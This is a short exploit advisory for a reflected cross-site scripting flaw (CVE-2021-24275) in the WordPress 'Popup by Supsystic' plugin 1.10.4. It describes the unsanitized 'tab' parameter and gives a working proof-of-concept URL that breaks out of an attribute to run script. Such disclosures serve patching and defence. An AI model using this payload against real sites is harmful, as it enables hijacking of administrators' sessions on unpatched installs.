WordPress Plugin Popup 1.10.4 - Reflected Cross-Site Scripting (XSS)

# Exploit Title: WordPress Plugin Popup 1.10.4 - Reflected Cross-Site Scripting (XSS)
# Date: 3/28/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/popup-by-supsystic/
# Version: 1.10.4
# Tested on: Windows 10
# CVE: CVE-2021-24275

1. Description:
The plugin did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue

2. Proof of Concept:
/wp-admin/admin.php?page=popup-wp-supsystic&tab="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//